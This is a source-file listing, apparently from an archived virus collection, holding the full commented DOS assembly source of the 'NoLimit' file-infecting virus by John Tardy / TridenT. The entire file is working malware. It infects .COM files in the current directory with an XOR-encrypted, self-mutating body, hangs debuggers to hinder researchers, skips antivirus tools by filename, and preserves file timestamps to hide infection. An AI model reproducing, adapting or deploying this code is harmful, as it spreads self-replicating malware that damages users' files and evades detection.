home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / N.ZIP / NOLIMIT1.ZIP / NOLIMIT1.A86 next >
Text File  |  1995-05-23  |  13KB  |  267 lines
  1. ;
  2. ; NoLimit Virus by John Tardy / TridenT
  3. ;
  4. ; Limited version of Servant Virus
  5.  
  6. Version         Equ 1                           ; Initial release.
  7.  
  8.                 Org 0h                          ; Creates a .BIN file.
  9.  
  10. ; This piece of code is located at the begin of the file
  11.  
  12. Start:          Jmp MainVir                     ; Jump to the main virus.
  13.  
  14.                 Db '*'                          ; Infection marker.
  15.  
  16. ; This will be appended to the victim
  17.  
  18. MainVir:        Lea Si,Decr                     ; This is the decryptor, which
  19. DecrOfs         Equ $-2                         ; is mutated from the main
  20.                 Mov Cx,DecrLen                  ; virus. It uses a simple xor
  21. Decrypt:        Xor B [Si],0                    ; algorithm. It uses three
  22. DecVal          Equ $-1                         ; different index regs, Si, Di
  23. Incer:          Inc Si                          ; or Bx. The Xor OpCode can be
  24. LoopType:       Loop Decrypt                    ; 80h or 82h and it's Loop or
  25. MainLen         Equ $-Mainvir                   ; LoopNz.
  26.  
  27. ; From here everything is encrypted
  28.  
  29. Decr:           Call On1                        ; Get Offset of the appended
  30. On1:            Pop BP                          ; virus by pushing the call on
  31.                 Sub BP,On1                      ; the stack and retrieve the
  32.                                                 ; address.
  33.  
  34.                 Mov W TrapIt[Bp],KillDebug      ; This routine restores the
  35.                 Lea Si,OrgPrg[Bp]               ; beginning of the original
  36. TrapIt          Equ $-2                         ; file, except when run from
  37.                 Mov Di,100h                     ; a debugger. It will then
  38.                 Push Di                         ; put the routine at
  39.                 Push Ax                         ; KillDebug in place of that,
  40.                 Movsw                           ; this locking the system
  41.                 Movsw                           ; after infection and
  42.                 Lea Dx,OrgPrg[Bp]               ; confusing TBCLEAN.
  43.                 Mov W TrapIt[Bp],OrgPrg         ;
  44.  
  45.                 Mov Ah,19h                      ; We don't want to infect
  46.                 Int 21h                         ; programs on floppy drive,
  47.                 Cmp Al,2                        ; we then go to NoHD.
  48.                 Jb NoHD                         ;
  49.  
  50.                 Mov Ah,1ah                      ; Use a new DTA.
  51.                 Mov Dx,0fd00h                   ;
  52.                 Int 21h                         ;
  53.  
  54.                 In Al,21h                       ; This makes DOS DEBUG to
  55.                 Or Al,2                         ; hang and thus making
  56.                 Out 21h,Al                      ; beginning virus-researchers
  57.                 Xor Al,2                        ; a hard time.
  58.                 Out 21h,Al                      ;
  59.  
  60.                 Mov Ah,4eh                      ; Search a .COM file in the
  61. Search:         Lea Dx,FileSpec[BP]             ; current directory.
  62.                 Xor Cx,Cx                       ;
  63.                 Int 21h                         ;
  64.  
  65.                 Jnc  Found                      ; If found, goto found,
  66. NoHD:           Jmp Ready                       ; else goto ready.
  67.  
  68. KillDebug:      Cli                             ; The routine that will be
  69.                 Jmp KillDebug                   ; activated by the antidebug
  70.                                                 ; part.
  71.  
  72.                 Db '[NoLimit] John Tardy / Trident '
  73.  
  74. ; Here follows a table of filenames to avoid with infecting.
  75.  
  76. Tabel           Db 'CA'                         ; Catcher (Gobbler).
  77.                 Db 'VA'                         ; Validate (McAfee).
  78.                 Db 'GU'                         ; Guard (Dr. Solomon).
  79.                 Db 'CO'                         ; Command.Com (Microsoft).
  80.                 Db '4D'                         ; 4Dos (JP Software).
  81.                 Db 'VS'                         ; VSafe (CPav).
  82.                 Db 'TB'                         ; TbDel (Esass).
  83. TabLen          Equ $-Tabel
  84.  
  85.  
  86. Found:          Mov Bx,[0fd1eh]                 ; This routine checks if
  87.                 Lea Si,Tabel[Bp]                ; the candidate file begins
  88.                 Mov Cx,TabLen/2                 ; with the chars in the table
  89. ChkNam:         Lodsw                           ; above. If so, it goes to
  90.                 Cmp Ax,Bx                       ; SearchNext.
  91.                 Je SearchNext                   ;
  92.                 Loop ChkNam                     ;
  93.  
  94.                 mov dx,0fd1eh                   ; Open the file with only
  95.                 Mov Ax,3d00h                    ; read access.
  96.                 Int 21h                         ;
  97.  
  98.                 Xchg Ax,Bx                      ; Put Filehandle to BX.
  99.  
  100.                 Mov Ah,45h                      ; Duplicate Filehandle and
  101.                 Int 21h                         ; use the new one (confuses
  102.                 Xchg Ax,Bx                      ; some resident monitoring
  103.                                                 ; software (TBFILE)).
  104.  
  105.                 mov Ax,1220h                    ; This is a tricky routine
  106.                 push bx                         ; used to get the offset
  107.                 int 2fh                         ; to the File Handle Table,
  108.                 mov bl,es:[di]                  ; where we can change
  109.                 Mov Ax,1216h                    ; directly some things.
  110.                 int 2fh                         ;
  111.                 pop bx                          ;
  112.                 mov ds,es                       ;
  113.  
  114.                 mov byte ptr [di+2],2           ; File now open with write
  115.                                                 ; access.
  116.  
  117.                 mov al,b [di+4]                 ; Store old file attributes
  118.                 mov b [di+4],0                  ; and clear it.
  119.                 push ax                         ;
  120.  
  121.                 push ds                         ; Store FHT on the stack.
  122.                 push di                         ;
  123.  
  124.                 mov ds,cs                       ; Restore old Ds and Es
  125.                 mov es,cs                       ; (with .COM equal to Cs).
  126.  
  127.                 Mov Ah,3fh                      ; Read the first 4 bytes
  128.                 Lea Dx,OrgPrg[BP]               ; to OrgPrg (Bp indexed
  129.                 Mov Cx,4                        ; (the call remember?)).
  130.                 Int 21h                         ;
  131.  
  132.                 Mov Ax,OrgPrg[BP]               ; Check if it is a renamed
  133.                 Cmp Ax,'ZM'                     ; .EXE file. If so, goto
  134.                 Je ExeFile                      ; ExeFile.
  135.                 Cmp Ax,'MZ'                     ;
  136.                 Je ExeFile                      ;
  137.  
  138.                 Cmp B OrgPrg[3][Bp],'*'         ; Check if already infected.
  139.  
  140.                 Jne Infect                      ; If not so, goto Infect.
  141.  
  142. ExeFile:        Call Close                      ; Call file close routine.
  143.  
  144. SearchNext:     Mov Ah,4fh                      ; And search the next victim.
  145.                 Jmp Search                      ;
  146.  
  147. Infect:         Mov Ax,4202h                    ; Jump to EOF.
  148.                 Cwd                             ;
  149.                 Xor Cx,Cx                       ;
  150.                 Int 21h                         ;
  151.  
  152.                 Sub Ax,3                        ; Calculate the Jump and the
  153.                 Mov CallPtr[BP+1],Ax            ; decryptor offset values.
  154.                 Add Ax,(Offset Decr+0ffh)       ;
  155.                 Mov DecrOfs[Bp],Ax              ;
  156.  
  157.                 Call EncryptIt                  ; Call Encryption engine.
  158.  
  159.                 Mov Ah,40h                      ; Write the decoder to the
  160.                 Lea Dx,MainVir[Bp]              ; end of the file.
  161.                 Mov Cx,MainLen                  ;
  162.                 Int 21h                         ;
  163.  
  164.                 Mov Ah,40h                      ; And append the encrypted
  165.                 Lea Dx,EndOfVir[BP]             ; main virus body to it
  166.                 Mov Cx,DecrLen                  ; also.
  167.                 Int 21h                         ;
  168.  
  169.                 Mov Ax,4200h                    ; Jump to the beginning of
  170.                 Cwd                             ; the file.
  171.                 Xor Cx,Cx                       ;
  172.                 Int 21h                         ;
  173.  
  174.                 Mov Ah,40h                      ; And write the jump to the
  175.                 Lea Dx,CallPtr[BP]              ; over the first 4 bytes of
  176.                 Mov Cx,4                        ; the file.
  177.                 Int 21h                         ;
  178.  
  179.                 Call Close                      ; Call close routine.
  180.  
  181. Ready:          Mov Ah,1ah                      ; Restore the DTA.
  182.                 Mov Dx,80h                      ;
  183.                 Int 21h                         ;
  184.  
  185.                 Pop Ax                          ; Restore error register.
  186.  
  187.                 Ret                             ; Return to host (at 100h).
  188.  
  189. Close:          Pop Si
  190.  
  191.                 pop di                          ; Restore FHT offset again.
  192.                 pop ds                          ;
  193.  
  194.                 or b [di+6],40h                 ; Do not change file date/time
  195.                                                 ; stamps.
  196.  
  197.                 pop ax                          ; Restore file attributes.
  198.                 mov b [di+4],al                 ;
  199.  
  200.                 Mov Ah,3eh                      ; Close file.
  201.                 Int 21h                         ;
  202.  
  203.                 mov ds,cs                       ; Restore Ds segment.
  204.  
  205.                 Push Si
  206.                 Ret
  207.  
  208. CallPtr         Db 0e9h,0,0                     ; Here the jump is generated.
  209.  
  210. FileSpec        Db '*.CoM',0                    ; FileSpec + Infection Marker.
  211.  
  212. OrgPrg:         Int 20h                         ; Original 4 bytes of the
  213.                 Nop                             ; host program.
  214.                 Nop                             ;
  215.  
  216. EncryptIt:      Xor Ax,Ax                       ; Get timer tick (seen as a
  217.                 Mov Ds,Ax                       ; random value).
  218.                 Mov Ah,B Ds:[046ch]             ;
  219.  
  220.                 Mov Ds,Cs                       ; If Ah is zero, goto
  221.                 Cmp Ah,0                        ; EncryptIt
  222.                 Je EncryptIt                    ;
  223.  
  224. GenKey:         Mov B DecVal[Bp],Ah             ; Encrypt the virus body
  225.                 Lea Si,Decr[Bp]                 ; to the address just at the
  226.                 Lea Di,EndOfVir[Bp]             ; end of the virus.
  227.                 Mov Cx,DecrLen                  ;
  228. Encrypt:        Lodsb                           ;
  229.                 Xor Al,Ah                       ;
  230.                 Stosb                           ;
  231.                 Loop Encrypt                    ;
  232.  
  233.                 Xor B Decrypt[Bp],2             ; Make the Xor variable.
  234.  
  235.                 Test Ah,4                       ; Make the Loop variable
  236.                 Jc NoGarble                     ; (xor works like a switch
  237.                 Xor B LoopType[Bp],2            ; for 80h/82h or 0e0h/0e2h).
  238.  
  239.                 Xchg Ah,Al                      ; Read the different
  240.                 And Ax,0003h                    ; Si, Di, Bx instructions
  241.                 Mov Si,Ax                       ; from the table and store
  242.                 Add Si,PolyTable                ; them into the decrytor, thus
  243.                 Add Si,Bp                       ; making it recognizable only
  244.                 Lodsb                           ; at 4 bytes. (or nibble
  245.                 Mov B MainVir[Bp],Al            ; checking is usable).
  246.                 Add Si,3                        ;
  247.                 Lodsb                           ;
  248.                 Mov B Decrypt[Bp+1],Al          ;
  249.                 Add Si,3                        ;
  250.                 Lodsb                           ;
  251.                 Mov B Incer[Bp],Al              ;
  252.  
  253. NoGarble:       Ret                             ; Return to called
  254.  
  255. ; Table with functions for polymorphing
  256.  
  257. PolyTable       Equ $
  258.                 Db 0beh,0bfh,0bbh,0beh          ; Mov Si,Di,Bx,Si
  259.                 Db 034h,035h,037h,034h          ; Xor Si,Di,Bx,Si
  260.                 Db 046h,047h,043h,046h          ; Inc Si,Di,Bx,Si
  261.  
  262.                 DB Version                      ; Virus version number
  263.  
  264. DecrLen         Equ $-Decr
  265.  
  266. EndOfVir        Equ $
  267.